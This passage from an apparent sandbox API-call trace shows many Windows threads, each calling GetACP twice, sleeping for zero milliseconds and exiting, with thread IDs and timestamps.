[0228.270] GetACP () returned 0x4e4 [0228.270] Sleep (dwMilliseconds=0x0) [0228.429] RtlExitUserThread (Status=0x0) Thread: id = 1489 os_tid = 0x15e0 [0228.271] GetACP () returned 0x4e4 [0228.271] GetACP () returned 0x4e4 [0228.271] Sleep (dwMilliseconds=0x0) [0228.430] RtlExitUserThread (Status=0x0) Thread: id = 1490 os_tid = 0x15e4 [0228.271] GetACP () returned 0x4e4 [0228.271] GetACP () returned 0x4e4 [0228.271] Sleep (dwMilliseconds=0x0) [0228.431] RtlExitUserThread (Status=0x0) Thread: id = 1491 os_tid = 0x15e8 [0228.272] GetACP () returned 0x4e4 [0228.272] GetACP () returned 0x4e4 [0228.272] Sleep (dwMilliseconds=0x0) [0228.432] RtlExitUserThread (Status=0x0) Thread: id = 1492 os_tid = 0x15ec [0228.272] GetACP () returned 0x4e4 [0228.272] GetACP () returned 0x4e4 [0228.272] Sleep (dwMilliseconds=0x0) [0228.432] RtlExitUserThread (Status=0x0) Thread: id = 1493 os_tid = 0x15f0 [0228.273] GetACP () returned 0x4e4 [0228.273] GetACP () returned 0x4e4 [0228.273] Sleep (dwMilliseconds=0x0) [0228.433] RtlExitUserThread (Status=0x0) Thread: id = 1494 os_tid = 0x15f4 [0228.273] GetACP () returned 0x4e4 [0228.273] GetACP () returned 0x4e4 [0228.273] Sleep (dwMilliseconds=0x0) [0228.434] RtlExitUserThread (Status=0x0) Thread: id = 1495 os_tid = 0x15f8 [0228.274] GetACP () returned 0x4e4 [0228.274] GetACP () returned 0x4e4 [0228.274] Sleep (dwMilliseconds=0x0) [0228.435] RtlExitUserThread (Status=0x0) Thread: id = 1496 os_tid = 0x15fc [0228.274] GetACP () returned 0x4e4 [0228.274] GetACP () returned 0x4e4 [0228.274] Sleep (dwMilliseconds=0x0) [0228.436] RtlExitUserThread (Status=0x0) Thread: id = 1517 os_tid = 0x1650 [0228.437] GetACP () returned 0x4e4 [0228.437] GetACP () returned 0x4e4 [0228.437] Sleep (dwMilliseconds=0x0) [0228.591] RtlExitUserThread (Status=0x0) Thread: id = 1518 os_tid = 0x1654 [0228.438] GetACP () returned 0x4e4 [0228.438] GetACP () returned 0x4e4 [0228.438] Sleep (dwMilliseconds=0x0) [0228.592] RtlExitUserThread (Status=0x0) Thread: id = 1519 os_tid = 0x1658 [0228.438] GetACP () returned 0x4e4 [0228.438] GetACP () returned 0x4e4 [0228.438] Sleep (dwMilliseconds=0x0) [0228.593] RtlExitUserThread (Status=0x0) Thread: id = 1520 os_tid = 0x165c [0228.439] GetACP () returned 0x4e4 [0228.439] GetACP () returned 0x4e4 [0228.439] Sleep (dwMilliseconds=0x0) [0228.593] RtlExitUserThread (Status=0x0) Thread: id = 1521 os_tid = 0x1660 [0228.440] GetACP () returned 0x4e4 [0228.440] GetACP () returned 0x4e4 [0228.440] Sleep (dwMilliseconds=0x0) [0228.594] RtlExitUserThread (Status=0x0) Thread: id = 1522 os_tid = 0x1664 [0228.440] GetACP () returned 0x4e4 [0228.440] GetACP () returned 0x4e4 [0228.440] Sleep (dwMilliseconds=0x0) [0228.594] RtlExitUserThread (Status=0x0) Thread: id = 1523 os_tid = 0x1668 [0228.441] GetACP () returned 0x4e4 [0228.441] GetACP () returned 0x4e4 [0228.441] Sleep (dwMilliseconds=0x0) [0228.595] RtlExitUserThread (Status=0x0) Thread: id = 1524 os_tid = 0x166c [0228.442] GetACP () returned 0x4e4 [0228.442] GetACP () returned 0x4e4 [0228.442] Sleep (dwMilliseconds=0x0) [0228.595] RtlExitUserThread (Status=0x0) Thread: id = 1525 os_tid = 0x1670 [0228.442] GetACP () returned 0x4e4 [0228.442] GetACP () returned 0x4e4 [0228.442] Sleep (dwMilliseconds=0x0) [0228.596] RtlExitUserThread (Status=0x0) Thread: id = 1526 os_tid = 0x1674 [0228.443] GetACP () returned 0x4e4 [0228.443] GetACP () returned 0x4e4 [0228.443] Sleep (dwMilliseconds=0x0) [0228.597] RtlExitUserThread (Status=0x0) Thread: id = 1527 os_tid = 0x1678 [0228.444] GetACP () returned 0x4e4 [0228.444] GetACP () returned 0x4e4 [0228.444] Sleep (dwMilliseconds=0x0) [0228.598] RtlExitUserThread (Status=0x0) Thread: id = 1528 os_tid = 0x167c [0228.444] GetACP () returned 0x4e4 [0228.444] GetACP () returned 0x4e4 [0228.444] Sleep (dwMilliseconds=0x0) [0228.598] RtlExitUserThread (Status=0x0) Thread: id = 1529 os_tid = 0x1680 [0228.445] GetACP () returned 0x4e4 [0228.445] GetACP () returned 0x4e4 [0228.445] Sleep (dwMilliseconds=0x0) [0228.599] RtlExitUserThread (Status=0x0) Thread: id = 1530 os_tid = 0x1684 [0228.446] GetACP () returned 0x4e4 [0228.446] GetACP () returned 0x4e4 [0228.446] Sleep (dwMilliseconds=0x0) [0228.600] RtlExitUserThread (Status=0x0) Thread: id = 1531 os_tid = 0x1688 [0228.446] GetACP () returned 0x4e4 [0228.446] GetACP () returned 0x4e4 [0228.446] Sleep (dwMilliseconds=0x0) [0228.600] RtlExitUserThread (Status=0x0) Thread: id = 1532 os_tid = 0x168c [0228.447] GetACP () returned 0x4e4 [0228.447] GetACP () returned 0x4e4 [0228.447] Sleep (dwMilliseconds=0x0) [0228.601] RtlExitUserThread (Status=0x0) Thread: id = 1533 os_tid = 0x1690 [0228.448] GetACP () returned 0x4e4 [0228.448] GetACP () returned 0x4e4 [0228.448] Sleep (dwMilliseconds=0x0) [0228.602] RtlExitUserThread (Status=0x0) Thread: id = 1534 os_tid = 0x1694 [0228.448] GetACP () returned 0x4e4 [0228.448] GetACP () returned 0x4e4 [0228.448] Sleep (dwMilliseconds=0x0) [0228.602] RtlExitUserThread (Status=0x0) Thread: id = 1535 os_tid = 0x1698 [0228.449] GetACP () returned 0x4e4 [0228.449] GetACP () returned 0x4e4 [0228.449] Sleep (dwMilliseconds=0x0) [0228.603] RtlExitUserThread (Status=0x0) Thread: id = 1536 os_tid = 0x169c [0228.450] GetACP () returned 0x4e4 [0228.450] GetACP () returned 0x4e4 [0228.450] Sleep (dwMilliseconds=0x0) [0228.604] RtlExitUserThread (Status=0x0) Thread: id = 1557 os_tid = 0x16f4 [0228.605] GetACP () returned 0x4e4 [0228.605] GetACP () returned 0x4e4 [0228.605] Sleep (dwMilliseconds=0x0) [0228.733] RtlExitUserThread (Status=0x0) Thread: id = 1558 os_tid = 0x16f8 [0228.605] GetACP () returned 0x4e4 [0228.605] GetACP () returned 0x4e4 [0228.605] Sleep (dwMilliseconds=0x0) [0228.734] RtlExitUserThread (Status=0x0) Thread: id = 1559 os_tid = 0x16fc [0228.606] GetACP () returned 0x4e4 [0228.606] GetACP () returned 0x4e4 [0228.606] Sleep (dwMilliseconds=0x0) [0228.735] RtlExitUserThread (Status=0x0) Thread: id = 1560 os_tid = 0x1700 [0228.606] GetACP () returned 0x4e4 [0228.606] GetACP () returned 0x4e4 [0228.606] Sleep (dwMilliseconds=0x0) [0228.735] RtlExitUserThread (Status=0x0) Thread: id = 1561 os_tid = 0x1704 [0228.607] GetACP () returned 0x4e4 [0228.607] GetACP () returned 0x4e4 [0228.607] Sleep (dwMilliseconds=0x0) [0228.736] RtlExitUserThread (Status=0x0) Thread: id = 1562 os_tid = 0x1708 [0228.607] GetACP () returned 0x4e4 [0228.607] GetACP () returned 0x4e4 [0228.607] Sleep (dwMilliseconds=0x0) [0228.737] RtlExitUserThread (Status=0x0) Thread: id = 1563 os_tid = 0x170c [0228.608] GetACP () returned 0x4e4 [0228.608] GetACP () returned 0x4e4 [0228.608] Sleep (dwMilliseconds=0x0) [0228.738] RtlExitUserThread (Status=0x0) Thread: id = 1564 os_tid = 0x1710 [0228.608] GetACP () returned 0x4e4 [0228.608] GetACP () returned 0x4e4 [0228.608] Sleep (dwMilliseconds=0x0) [0228.739] RtlExitUserThread (Status=0x0) Thread: id = 1565 os_tid = 0x1714 [0228.609] GetACP () returned 0x4e4 [0228.609] GetACP () returned 0x4e4 [0228.609] Sleep (dwMilliseconds=0x0) [0228.739] RtlExitUserThread (Status=0x0) Thread: id = 1566 os_tid = 0x1718 [0228.609] GetACP () returned 0x4e4 [0228.609] GetACP () returned 0x4e4 [0228.609] Sleep (dwMilliseconds=0x0) [0228.740] RtlExitUserThread (Status=0x0) Thread: id = 1567 os_tid = 0x171c [0228.610] GetACP () returned 0x4e4 [0228.610] GetACP () returned 0x4e4 [0228.610] Sleep (dwMilliseconds=0x0) [0228.741] RtlExitUserThread (Status=0x0) Thread: id = 1568 os_tid = 0x1720 [0228.610] GetACP () returned 0x4e4 [0228.610] GetACP () returned 0x4e4 [0228.610] Sleep (dwMilliseconds=0x0) [0228.742] RtlExitUserThread (Status=0x0) Thread: id = 1569 os_tid = 0x1724 [0228.611] GetACP () returned 0x4e4 [0228.611] GetACP () returned 0x4e4 [0228.611] Sleep (dwMilliseconds=0x0) [0228.743] RtlExitUserThread (Status=0x0) Thread: id = 1570 os_tid = 0x1728 [0228.611] GetACP () returned 0x4e4 [0228.611] GetACP () returned 0x4e4 [0228.611] Sleep (dwMilliseconds=0x0) [0228.743] RtlExitUserThread (Status=0x0) Thread: id = 1571 os_tid = 0x172c [0228.612] GetACP () returned 0x4e4 [0228.612] GetACP () returned 0x4e4 [0228.612] Sleep (dwMilliseconds=0x0) [0228.744] RtlExitUserThread (Status=0x0) Thread: id = 1572 os_tid = 0x1730 [0228.612] GetACP () returned 0x4e4 [0228.612] GetACP () returned 0x4e4 [0228.612] Sleep (dwMilliseconds=0x0) [0228.745] RtlExitUserThread (Status=0x0) Thread: id = 1573 os_tid = 0x1734 [0228.615] GetACP () returned 0x4e4 [0228.615] GetACP () returned 0x4e4 [0228.615] Sleep (dwMilliseconds=0x0) [0228.746] RtlExitUserThread (Status=0x0) Thread: id = 1574 os_tid = 0x1738 [0228.615] GetACP () returned 0x4e4 [0228.615] GetACP () returned 0x4e4 [0228.615] Sleep (dwMilliseconds=0x0) [0228.747] RtlExitUserThread (Status=0x0) Thread: id = 1575 os_tid = 0x173c [0228.616] GetACP () returned 0x4e4 [0228.616] GetACP () returned 0x4e4 [0228.616] Sleep (dwMilliseconds=0x0) [0228.747] RtlExitUserThread (Status=0x0) Thread: id = 1576 os_tid = 0x1740 [0228.616] GetACP () returned 0x4e4 [0228.616] GetACP () returned 0x4e4 [0228.616] Sleep (dwMilliseconds=0x0) [0228.748] RtlExitUserThread (Status=0x0) Thread: id = 1597 os_tid = 0x1794 [0228.750] GetACP () returned 0x4e4 [0228.750] GetACP () returned 0x4e4 [0228.750] Sleep (dwMilliseconds=0x0) [0228.936] RtlExitUserThread (Status=0x0) Thread: id = 1598 os_tid = 0x1798 [0228.751] GetACP () returned 0x4e4 [0228.751] GetACP () returned 0x4e4 [0228.751] Sleep (dwMilliseconds=0x0) [0228.937] RtlExitUserThread (Status=0x0) Thread: id = 1599 os_tid = 0x179c [0228.751] GetACP () returned 0x4e4 [0228.751] GetACP () returned 0x4e4 [0228.751] Sleep (dwMilliseconds=0x0) [0228.938] RtlExitUserThread (Status=0x0) Thread: id = 1600 os_tid = 0x17a0 [0228.752] GetACP () returned 0x4e4 [0228.752] GetACP () returned 0x4e4 [0228.752] Sleep (dwMilliseconds=0x0) [0228.939] RtlExitUserThread (Status=0x0) Thread: id = 1601 os_tid = 0x17a4 [0228.753] GetACP () returned 0x4e4 [0228.753] GetACP () returned 0x4e4 [0228.753] Sleep (dwMilliseconds=0x0) [0228.939] RtlExitUserThread (Status=0x0) Thread: id = 1602 os_tid = 0x17a8 [0228.753] GetACP () returned 0x4e4 [0228.753] GetACP () returned 0x4e4 [0228.753] Sleep (dwMilliseconds=0x0) [0228.940] RtlExitUserThread (Status=0x0) Thread: id = 1603 os_tid = 0x17ac [0228.754] GetACP () returned 0x4e4 [0228.754] GetACP () returned 0x4e4 [0228.754] Sleep (dwMilliseconds=0x0) [0228.941] RtlExitUserThread (Status=0x0) Thread: id = 1604 os_tid = 0x17b0 [0228.755] GetACP () returned 0x4e4 [0228.755] GetACP () returned 0x4e4 [0228.755] Sleep (dwMilliseconds=0x0) [0228.942] RtlExitUserThread (Status=0x0) Thread: id = 1605 os_tid = 0x17b4 [0228.755] GetACP () returned 0x4e4 [0228.756] GetACP () returned 0x4e4 [0228.756] Sleep (dwMilliseconds=0x0) [0228.943] RtlExitUserThread (Status=0x0) Thread: id = 1606 os_tid = 0x17b8 [0228.756] GetACP () returned 0x4e4 [0228.756] GetACP () returned 0x4e4 [0228.756] Sleep (dwMilliseconds=0x0) [0228.943] RtlExitUserThread (Status=0x0) Thread: id = 1607 os_tid = 0x17bc [0228.757] GetACP () returned 0x4e4 [0228.757] GetACP () returned 0x4e4 [0228.757] Sleep (dwMilliseconds=0x0) [0228.944] RtlExitUserThread (Status=0x0) Thread: id = 1608 os_tid = 0x17c0 [0228.758] GetACP () returned 0x4e4 [0228.758] GetACP () returned 0x4e4 [0228.758] Sleep (dwMilliseconds=0x0) [0228.945] RtlExitUserThread (Status=0x0) Thread: id = 1609 os_tid = 0x17c4 [0228.758] GetACP () returned 0x4e4 [0228.758] GetACP () returned 0x4e4 [0228.759] Sleep (dwMilliseconds=0x0) [0228.946] RtlExitUserThread (Status=0x0) Thread: id = 1610 os_tid = 0x17c8 [0228.759] GetACP () returned 0x4e4 [0228.759] GetACP () returned 0x4e4 [0228.759] Sleep (dwMilliseconds=0x0) [0228.946] RtlExitUserThread (Status=0x0) Thread: id = 1611 os_tid = 0x17cc [0228.760] GetACP () returned 0x4e4 [0228.760] GetACP () returned 0x4e4 [0228.760] Sleep (dwMilliseconds=0x0) [0228.947] RtlExitUserThread (Status=0x0) Thread: id = 1612 os_tid = 0x17d0 [0228.760] GetACP () returned 0x4e4 [0228.761] GetACP () returned 0x4e4 [0228.761] Sleep (dwMilliseconds=0x0) [0228.948] RtlExitUserThread (Status=0x0) Thread: id = 1613 os_tid = 0x17d4 [0228.761] GetACP () returned 0x4e4 [0228.761] GetACP () returned 0x4e4 [0228.761] Sleep (dwMilliseconds=0x0) [0228.948] RtlExitUserThread (Status=0x0) Thread: id = 1614 os_tid = 0x17d8 [0228.762] GetACP () returned 0x4e4 [0228.762] GetACP () returned 0x4e4 [0228.762] Sleep (dwMilliseconds=0x0) [0228.949] RtlExitUserThread (Status=0x0) Thread: id = 1615 os_tid = 0x17dc [0228.763] GetACP () returned 0x4e4 [0228.763] GetACP () returned 0x4e4 [0228.763] Sleep (dwMilliseconds=0x0) [0228.950] RtlExitUserThread (Status=0x0) Thread: id = 1616 os_tid = 0x17e0 [0228.764] GetACP () returned 0x4e4 [0228.764] GetACP () returned 0x4e4 [0228.764] Sleep (dwMilliseconds=0x0) [0228.951] RtlExitUserThread (Status=0x0) Thread: id = 1637 os_tid = 0x1818 [0228.952] GetACP () returned 0x4e4 [0228.952] GetACP () returned 0x4e4 [0228.952] Sleep (dwMilliseconds=0x0) [0229.078] RtlExitUserThread (Status=0x0) Thread: id = 1638 os_tid = 0x181c [0228.952] GetACP () returned 0x4e4 [0228.952] GetACP () returned 0x4e4 [0228.953] Sleep (dwMilliseconds=0x0) [0229.078] RtlExitUserThread (Status=0x0) Thread: id = 1639 os_tid = 0x1820 [0228.953] GetACP () returned 0x4e4 [0228.953] GetACP () returned 0x4e4 [0228.953] Sleep (dwMilliseconds=0x0) [0229.079] RtlExitUserThread (Status=0x0) Thread: id = 1640 os_tid = 0x1824 [0228.954] GetACP () returned 0x4e4 [0228.954] GetACP () returned 0x4e4 [0228.954] Sleep (dwMilliseconds=0x0) [0229.080] RtlExitUserThread (Status=0x0) Thread: id = 1641 os_tid = 0x1828 [0228.954] GetACP () returned 0x4e4 [0228.954] GetACP () returned 0x4e4 [0228.955] Sleep (dwMilliseconds=0x0) [0229.080] RtlExitUserThread (Status=0x0) Thread: id = 1642 os_tid = 0x182c [0228.955] GetACP () returned 0x4e4 [0228.955] GetACP () returned 0x4e4 [0228.955] Sleep (dwMilliseconds=0x0) [0229.081] RtlExitUserThread (Status=0x0) Thread: id = 1643 os_tid = 0x1830 [0228.956] GetACP () returned 0x4e4 [0228.956] GetACP () returned 0x4e4 [0228.956] Sleep (dwMilliseconds=0x0) [0229.082] RtlExitUserThread (Status=0x0) Thread: id = 1644 os_tid = 0x1834 [0228.957] GetACP () returned 0x4e4 [0228.957] GetACP () returned 0x4e4 [0228.957] Sleep (dwMilliseconds=0x0) [0229.083] RtlExitUserThread (Status=0x0) Thread: id = 1645 os_tid = 0x1838 [0228.957] GetACP () returned 0x4e4 [0228.957] GetACP () returned 0x4e4 [0228.957] Sleep (dwMilliseconds=0x0) [0229.083] RtlExitUserThread (Status=0x0) Thread: id = 1646 os_tid = 0x183c [0228.958] GetACP () returned 0x4e4 [0228.958] GetACP () returned 0x4e4 [0228.958] Sleep (dwMilliseconds=0x0) [0229.084] RtlExitUserThread (Status=0x0) Thread: id = 1647 os_tid = 0x1840 [0228.958] GetACP () returned 0x4e4 [0228.958] GetACP () returned 0x4e4 [0228.958] Sleep (dwMilliseconds=0x0) [0229.085] RtlExitUserThread (Status=0x0) Thread: id = 1648 os_tid = 0x1844 [0228.959] GetACP () returned 0x4e4 [0228.959] GetACP () returned 0x4e4 [0228.959] Sleep (dwMilliseconds=0x0) [0229.085] RtlExitUserThread (Status=0x0) Thread: id = 1649 os_tid = 0x1848 [0228.959] GetACP () returned 0x4e4 [0228.960] GetACP () returned 0x4e4 [0228.960] Sleep (dwMilliseconds=0x0) [0229.086] RtlExitUserThread (Status=0x0) Thread: id = 1650 os_tid = 0x184c [0228.960] GetACP () returned 0x4e4 [0228.960] GetACP () returned 0x4e4 [0228.960] Sleep (dwMilliseconds=0x0) [0229.087] RtlExitUserThread (Status=0x0) Thread: id = 1651 os_tid = 0x1850 [0228.961] GetACP () returned 0x4e4 [0228.961] GetACP () returned 0x4e4 [0228.961] Sleep (dwMilliseconds=0x0) [0229.088] RtlExitUserThread (Status=0x0) Thread: id = 1652 os_tid = 0x1854 [0228.961] GetACP () returned 0x4e4 [0228.961] GetACP () returned 0x4e4 [0228.961] Sleep (dwMilliseconds=0x0) [0229.088] RtlExitUserThread (Status=0x0) Thread: id = 1653 os_tid = 0x1858 [0228.962] GetACP () returned 0x4e4 [0228.962] GetACP () returned 0x4e4 [0228.962] Sleep (dwMilliseconds=0x0) [0229.089] RtlExitUserThread (Status=0x0) Thread: id = 1654 os_tid = 0x185c [0228.962] GetACP () returned 0x4e4 [0228.962] GetACP () returned 0x4e4 [0228.962] Sleep (dwMilliseconds=0x0) [0229.090] RtlExitUserThread (Status=0x0) Thread: id = 1655 os_tid = 0x1860 [0228.963] GetACP () returned 0x4e4 [0228.963] GetACP () returned 0x4e4 [0228.963] Sleep (dwMilliseconds=0x0) [0229.090] RtlExitUserThread (Status=0x0) Thread: id = 1656 os_tid = 0x1864 [0228.966] GetACP () returned 0x4e4 [0228.966] GetACP () returned 0x4e4 [0228.966] Sleep (dwMilliseconds=0x0) [0229.095] RtlExitUserThread (Status=0x0) Thread: id = 1677 os_tid = 0x18b8 [0229.097] GetACP () returned 0x4e4 [0229.097] GetACP () returned 0x4e4 [0229.097] Sleep (dwMilliseconds=0x0) [0229.217] RtlExitUserThread (Status=0x0) Thread: id = 1678 os_tid = 0x18bc [0229.097] GetACP () returned 0x4e4 [0229.097] GetACP () returned 0x4e4 [0229.097] Sleep (dwMilliseconds=0x0) [0229.218] RtlExitUserThread (Status=0x0) Thread: id = 1679 os_tid = 0x18c0 [0229.098] GetACP () returned 0x4e4 [0229.098] GetACP () returned 0x4e4 [0229.098] Sleep (dwMilliseconds=0x0) [0229.219] RtlExitUserThread (Status=0x0) Thread: id = 1680 os_tid = 0x18c4 [0229.099] GetACP () returned 0x4e4 [0229.099] GetACP () returned 0x4e4 [0229.099] Sleep (dwMilliseconds=0x0) [0229.219] RtlExitUserThread (Status=0x0) Thread: id = 1681 os_tid = 0x18c8 [0229.099] GetACP () returned 0x4e4 [0229.099] GetACP () returned 0x4e4 [0229.099] Sleep (dwMilliseconds=0x0) [0229.220] RtlExitUserThread (Status=0x0) Thread: id = 1682 os_tid = 0x18cc [0229.100] GetACP () returned 0x4e4 [0229.100] GetACP () returned 0x4e4 [0229.100] Sleep (dwMilliseconds=0x0) [0229.224] RtlExitUserThread (Status=0x0) Thread: id = 1683 os_tid = 0x18d0 [0229.100] GetACP () returned 0x4e4 [0229.100] GetACP () returned 0x4e4 [0229.100] Sleep (dwMilliseconds=0x0) [0229.224] RtlExitUserThread (Status=0x0) Thread: id = 1684 os_tid = 0x18d4 [0229.101] GetACP () returned 0x4e4 [0229.101] GetACP () returned 0x4e4 [0229.101] Sleep (dwMilliseconds=0x0) [0229.225] RtlExitUserThread (Status=0x0) Thread: id = 1685 os_tid = 0x18d8 [0229.102] GetACP () returned 0x4e4 [0229.102] GetACP () returned 0x4e4 [0229.102] Sleep (dwMilliseconds=0x0) [0229.226] RtlExitUserThread (Status=0x0) Thread: id = 1686 os_tid = 0x18dc [0229.102] GetACP () returned 0x4e4 [0229.102] GetACP () returned 0x4e4 [0229.102] Sleep (dwMilliseconds=0x0) [0229.227] RtlExitUserThread (Status=0x0) Thread: id = 1687 os_tid = 0x18e0 [0229.103] GetACP () returned 0x4e4 [0229.103] GetACP () returned 0x4e4 [0229.103] Sleep (dwMilliseconds=0x0) [0229.227] RtlExitUserThread (Status=0x0) Thread: id = 1688 os_tid = 0x18e4 [0229.103] GetACP () returned 0x4e4 [0229.103] GetACP () returned 0x4e4 [0229.103] Sleep (dwMilliseconds=0x0) [0229.228] RtlExitUserThread (Status=0x0) Thread: id = 1689 os_tid = 0x18e8 [0229.104] GetACP () returned 0x4e4 [0229.104] GetACP () returned 0x4e4 [0229.104] Sleep (dwMilliseconds=0x0) [0229.229] RtlExitUserThread (Status=0x0) Thread: id = 1690 os_tid = 0x18ec [0229.105] GetACP () returned 0x4e4 [0229.105] GetACP () returned 0x4e4 [0229.105] Sleep (dwMilliseconds=0x0) [0229.230] RtlExitUserThread (Status=0x0) Thread: id = 1691 os_tid = 0x18f0 [0229.105] GetACP () returned 0x4e4 [0229.105] GetACP () returned 0x4e4 [0229.105] Sleep (dwMilliseconds=0x0) [0229.230] RtlExitUserThread (Status=0x0) Thread: id = 1692 os_tid = 0x18f4 [0229.106] GetACP () returned 0x4e4 [0229.106] GetACP () returned 0x4e4 [0229.106] Sleep (dwMilliseconds=0x0) [0229.231] RtlExitUserThread (Status=0x0) Thread: id = 1693 os_tid = 0x18f8 [0229.106] GetACP () returned 0x4e4 [0229.106] GetACP () returned 0x4e4 [0229.106] Sleep (dwMilliseconds=0x0) [0229.232] RtlExitUserThread (Status=0x0) Thread: id = 1694 os_tid = 0x18fc [0229.107] GetACP () returned 0x4e4 [0229.107] GetACP () returned 0x4e4 [0229.107] Sleep (dwMilliseconds=0x0) [0229.233] RtlExitUserThread (Status=0x0) Thread: id = 1695 os_tid = 0x1900 [0229.108] GetACP () returned 0x4e4 [0229.108] GetACP () returned 0x4e4 [0229.108] Sleep (dwMilliseconds=0x0) [0229.234] RtlExitUserThread (Status=0x0) Thread: id = 1696 os_tid = 0x1904 [0229.108] GetACP () returned 0x4e4 [0229.108] GetACP () returned 0x4e4 [0229.108] Sleep (dwMilliseconds=0x0) [0229.235] RtlExitUserThread (Status=0x0) Thread: id = 1697 os_tid = 0x1908 [0229.237] GetACP () returned 0x4e4 [0229.237] GetACP () returned 0x4e4 [0229.237] Sleep (dwMilliseconds=0x0) [0229.357] RtlExitUserThread (Status=0x0) Thread: id = 1698 os_tid = 0x190c [0229.237] GetACP () returned 0x4e4 [0229.237] GetACP () returned 0x4e4 [0229.237] Sleep (dwMilliseconds=0x0) [0229.358] RtlExitUserThread (Status=0x0) Thread: id = 1699 os_tid = 0x1910 [0229.238] GetACP () returned 0x4e4 [0229.238] GetACP () returned 0x4e4 [0229.238] Sleep (dwMilliseconds=0x0) [0229.358] RtlExitUserThread (Status=0x0) Thread: id = 1700 os_tid = 0x1914 [0229.238] GetACP () returned 0x4e4 [0229.238] GetACP () returned 0x4e4 [0229.238] Sleep (dwMilliseconds=0x0) [0229.359] RtlExitUserThread (Status=0x0) Thread: id = 1701 os_tid = 0x1918 [0229.239] GetACP () returned 0x4e4 [0229.239] GetACP () returned 0x4e4 [0229.239] Sleep (dwMilliseconds=0x0) [0229.360] RtlExitUserThread (Status=0x0) Thread: id = 1702 os_tid = 0x191c [0229.240] GetACP () returned 0x4e4 [0229.240] GetACP () returned 0x4e4 [0229.240] Sleep (dwMilliseconds=0x0) [0229.360] RtlExitUserThread (Status=0x0) Thread: id = 1703 os_tid = 0x1920 [0229.240] GetACP () returned 0x4e4 [0229.240] GetACP () returned 0x4e4 [0229.240] Sleep (dwMilliseconds=0x0) [0229.361] RtlExitUserThread (Status=0x0) Thread: id = 1704 os_tid = 0x1924 [0229.241] GetACP () returned 0x4e4 [0229.241] GetACP () returned 0x4e4 [0229.241] Sleep (dwMilliseconds=0x0) [0229.361] RtlExitUserThread (Status=0x0) Thread: id = 1705 os_tid = 0x1928 [0229.242] GetACP () returned 0x4e4 [0229.242] GetACP () returned 0x4e4 [0229.242] Sleep (dwMilliseconds=0x0) [0229.362] RtlExitUserThread (Status=0x0) Thread: id = 1706 os_tid = 0x192c [0229.242] GetACP () returned 0x4e4 [0229.242] GetACP () returned 0x4e4 [0229.242] Sleep (dwMilliseconds=0x0) [0229.363] RtlExitUserThread (Status=0x0) Thread: id = 1707 os_tid = 0x1930 [0229.243] GetACP () returned 0x4e4 [0229.243] GetACP () returned 0x4e4 [0229.243] Sleep (dwMilliseconds=0x0) [0229.363] RtlExitUserThread (Status=0x0) Thread: id = 1708 os_tid = 0x1934 [0229.243] GetACP () returned 0x4e4 [0229.243] GetACP () returned 0x4e4 [0229.243] Sleep (dwMilliseconds=0x0) [0229.364] RtlExitUserThread (Status=0x0) Thread: id = 1709 os_tid = 0x1938 [0229.244] GetACP () returned 0x4e4 [0229.244] GetACP () returned 0x4e4 [0229.244] Sleep (dwMilliseconds=0x0) [0229.364] RtlExitUserThread (Status=0x0) Thread: id = 1710 os_tid = 0x193c [0229.245] GetACP () returned 0x4e4 [0229.245] GetACP () returned 0x4e4 [0229.245] Sleep (dwMilliseconds=0x0) [0229.365] RtlExitUserThread (Status=0x0) Thread: id = 1711 os_tid = 0x1940 [0229.245] GetACP () returned 0x4e4 [0229.245] GetACP () returned 0x4e4 [0229.245] Sleep (dwMilliseconds=0x0) [0229.365] RtlExitUserThread (Status=0x0) Thread: id = 1712 os_tid = 0x1944 [0229.246] GetACP () returned 0x4e4 [0229.246] GetACP () returned 0x4e4 [0229.246] Sleep (dwMilliseconds=0x0) [0229.366] RtlExitUserThread (Status=0x0) Thread: id = 1713 os_tid = 0x1948 [0229.247] GetACP () returned 0x4e4 [0229.247] GetACP () returned 0x4e4 [0229.247] Sleep (dwMilliseconds=0x0) [0229.367] RtlExitUserThread (Status=0x0) Thread: id = 1714 os_tid = 0x194c [0229.247] GetACP () returned 0x4e4 [0229.247] GetACP () returned 0x4e4 [0229.247] Sleep (dwMilliseconds=0x0) [0229.368] RtlExitUserThread (Status=0x0) Thread: id = 1715 os_tid = 0x1950 [0229.248] GetACP () returned 0x4e4 [0229.248] GetACP () returned 0x4e4 [0229.248] Sleep (dwMilliseconds=0x0) [0229.368] RtlExitUserThread (Status=0x0) Thread: id = 1716 os_tid = 0x1954 [0229.248] GetACP () returned 0x4e4 [0229.248] GetACP () returned 0x4e4 [0229.248] Sleep (dwMilliseconds=0x0) [0229.369] RtlExitUserThread (Status=0x0) Thread: id = 1737 os_tid = 0x19b8 [0231.445] GetACP () returned 0x4e4 [0231.445] GetACP () returned 0x4e4 [0231.445] Sleep (dwMilliseconds=0x0) [0231.603] RtlExitUserThread (Status=0x0) Thread: id = 1738 os_tid = 0x19bc [0231.446] GetACP () returned 0x4e4 [0231.446] GetACP () returned 0x4e4 [0231.446] Sleep (dwMilliseconds=0x0) [0231.604] RtlExitUserThread (Status=0x0) Thread: id = 1739 os_tid = 0x19c0 [0231.446] GetACP () returned 0x4e4 [0231.446] GetACP () returned 0x4e4 [0231.446] Sleep (dwMilliseconds=0x0) [0231.604] RtlExitUserThread (Status=0x0) Thread: id = 1740 os_tid = 0x19c4 [0231.447] GetACP () returned 0x4e4 [0231.447] GetACP () returned 0x4e4 [0231.447] Sleep (dwMilliseconds=0x0) [0231.605] RtlExitUserThread (Status=0x0) Thread: id = 1741 os_tid = 0x19c8 [0231.447] GetACP () returned 0x4e4 [0231.447] GetACP () returned 0x4e4 [0231.447] Sleep (dwMilliseconds=0x0) [0231.606] RtlExitUserThread (Status=0x0) Thread: id = 1742 os_tid = 0x19cc [0231.447] GetACP () returned 0x4e4 [0231.447] GetACP () returned 0x4e4 [0231.447] Sleep (dwMilliseconds=0x0) [0231.607] RtlExitUserThread (Status=0x0) Thread: id = 1743 os_tid = 0x19d0 [0231.448] GetACP () returned 0x4e4 [0231.448] GetACP () returned 0x4e4 [0231.448] Sleep (dwMilliseconds=0x0) [0231.608] RtlExitUserThread (Status=0x0) Thread: id = 1744 os_tid = 0x19d4 [0231.448] GetACP () returned 0x4e4 [0231.448] GetACP () returned 0x4e4 [0231.448] Sleep (dwMilliseconds=0x0) [0231.609] RtlExitUserThread (Status=0x0) Thread: id = 1745 os_tid = 0x19d8 [0231.448] GetACP () returned 0x4e4 [0231.448] GetACP () returned 0x4e4 [0231.448] Sleep (dwMilliseconds=0x0) [0231.609] RtlExitUserThread (Status=0x0) Thread: id = 1746 os_tid = 0x19dc [0231.449] GetACP () returned 0x4e4 [0231.449] GetACP () returned 0x4e4 [0231.449] Sleep (dwMilliseconds=0x0) [0231.610] RtlExitUserThread (Status=0x0) Thread: id = 